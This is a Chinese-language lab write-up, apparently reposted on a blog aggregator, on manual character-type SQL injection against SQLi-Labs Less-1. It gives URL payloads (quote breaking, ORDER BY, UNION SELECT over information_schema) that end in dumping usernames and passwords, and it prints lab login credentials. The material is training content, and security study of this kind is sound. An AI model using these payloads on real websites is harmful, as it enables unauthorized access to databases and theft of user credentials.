基于SQLI的SQL字符型报错注入

这篇具有很好参考价值的文章主要介绍了基于SQLI的SQL字符型报错注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

基于SQLI的SQL字符型报错注入

一. 实验目的

理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。

二. 实验环境

渗透主机:KALI平台
用户名: college
密码: 360College

目标网站:SQLI平台的Less-1科目
用户名: xxx
密码: xxx

注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)

三. 实验原理

MySQL语言的注释语法:

--(这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上--,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替--,原因是+在URL被URL编码后会变成空格。

四. 实验内容

1. 靶机/var/www/html中找到源码分析Less-1网页源码

基于SQLI的SQL字符型报错注入,sql,数据库
基于SQLI的SQL字符型报错注入,sql,数据库
得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:

SELECT * FROM users WHERE id="1 LIMIT 0,1;

2. kali访问网址http://靶机IP/Less-1/进行注入

(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1

基于SQLI的SQL字符型报错注入,sql,数据库
基于SQLI的SQL字符型报错注入,sql,数据库

(2)在上面的URL末端加上?id=1的动态参数,页面显示登录用户名Dumb、密码Dumb:
基于SQLI的SQL字符型报错注入,sql,数据库

尝试判断是否存在SQL注入以及哪种注入类型

(1)经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。

基于SQLI的SQL字符型报错注入,sql,数据库

(2)尝试在id后面加上(单引号),发现页面回显不正常,表示可能存在SQL字符注入。
基于SQLI的SQL字符型报错注入,sql,数据库

(3)输入- -+将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。
基于SQLI的SQL字符型报错注入,sql,数据库

手工SQL注入获得数据库的用户名与密码

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' order by N --+

基于SQLI的SQL字符型报错注入,sql,数据库

基于SQLI的SQL字符型报错注入,sql,数据库

(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,2,3 --+
基于SQLI的SQL字符型报错注入,sql,数据库

(3)利用sql查询语句爆破出数据库内的数据库名。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

基于SQLI的SQL字符型报错注入,sql,数据库

(4)利用sql查询语句爆破出security数据库内的表名。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

基于SQLI的SQL字符型报错注入,sql,数据库

(5)利用sql查询语句爆破出users数据表内的列名。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

基于SQLI的SQL字符型报错注入,sql,数据库

(6)利用sql查询语句爆破出username、password列的值。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

基于SQLI的SQL字符型报错注入,sql,数据库

五. 思考与总结

通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。文章来源地址https://www.toymoban.com/news/detail-531196.html

到了这里,关于基于SQLI的SQL字符型报错注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java字符串与字符型数组的转换

    通过本章可以了解到字符串与字符型数组之间相互转换的几种方法。 文章目录 一、字符串 —— 字符型数组  .toCharArray方法 .getChar方法 二、字符型数组 —— 字符串 .String方法 .copyValueOf方法         toCHarArray是将字符串中的一切字符均转换为字符数组。         用法为:字

    2024年02月15日
    浏览(30)
  • C语言整型转字符型和字符型转整型的简便且有效的方法(对于自然数)

    最近做到题目涉及数据类型的转换,查了很多资料,发现博客上的文章在此方面不全面,特别是在整型转成字符型上提供的方法不太好(指比较复杂),因此想做个总结。此方法主要涉及atoi,itoa和sprintf函数。 主要提供2种方法。 方法1:利用+‘0’将单个数字转字符 代码演示

    2024年02月15日
    浏览(32)
  • C++入门学习(十一)字符型

    C++中的字符型可以表示ASCII码中的所有字符,包括字母、数字、标点符号等。 ASCII码是一种用于编码字符的编码系统,它使用不同的数值来表示不同的字符。ASCII码使用7位或8位二进制数来表示每个字符,因此可以表示128或256个不同的字符。 在ASCII码中, 数字0-9的码值为30-39

    2024年01月22日
    浏览(31)
  • Java语言:字符型的详解、字符串的比较

    目录 前言 一.字符型的知识 二.字符型比较大小 三.字符串比较 equals()方法 equalslgnoreCase()方法 compareTo() 方法 🎁博主介绍:博客名为tq02,已学C语言、JavaSE,目前学了MySQL和JavaWeb 🎥学习专栏:  C语言         JavaSE       MySQL基础 🎄博主链接:tq02的博客_CSDN博客-C语言,Ja

    2024年02月13日
    浏览(38)
  • C语言常量(整型、实型、字符型、字符串、符号常量)

    对于C语言常量,该文章有详讲,由于文章太长,可参考如下思维导图和目录,可通过目录选择自己所需要的内容阅读。 整型常量即整数,包括正整数、负整数和零。C语言中,整型常量可以用十进制、八进制、和十六进制表示。 十进制表示: 由数字0-9,正、负号组成,如3

    2024年02月07日
    浏览(32)
  • 字符型液晶显示器LCD 1602的显示控制(Keil+Proteus)

    趁机把LCD 1602的实验完成了,那个电路图有几个地方没弄懂,但是去掉也没有报错,就没管了。 LCD1602_百度百科 (baidu.com) https://baike.baidu.com/item/LCD1602/6014393?fr=ge_ala LCD1602液晶显示屏通过电压来改变填充在两块平行板之间的液晶材料内部分子的排列状况,以达到遮光和透光的目

    2024年02月06日
    浏览(37)
  • 问题:以下选项中,( )是不正确的C语言字符型常量. #学习方法#媒体

    问题:以下选项中,( )是不正确的C语言字符型常量. A、\\\"a\\\" B、\\\'101\\\' C、\\\'x4l\\\' D、\\\'a\\\' 参考答案如图所示

    2024年02月20日
    浏览(28)
  • 用selenium和xpath定位元素并获取属性值以及str字符型转json型

    页面html如图所示: 要使用xpath定位这个div元素,并且获取其属性data-config的内容值。  结果如图:  蓝色的为str类型,红色的为json类型。 那么先得到的是str类型,如何转换为json类型呢?使用如下代码即可。 import json json_attr=json.loads(str_attr) 读取json数据用json_attr[\\\'video\\\'][\\\'url\\\'

    2024年02月08日
    浏览(31)
  • C语言的数据类型(整型、字符型,浮点型等详细介绍、ASCLL表以及常量、变量的详细介绍)

    C语言的数据类型基本介绍         在C语言中,数据类型可以分为:基本数据类型(整型、浮点型/实型、字符型)、构造数据类型(数组、指针、结构体、共用体、枚举)以及空类型(万能类型void)。常用的有:整形(int)、字符型(char)、短整型(short)、长整型(

    2024年02月07日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包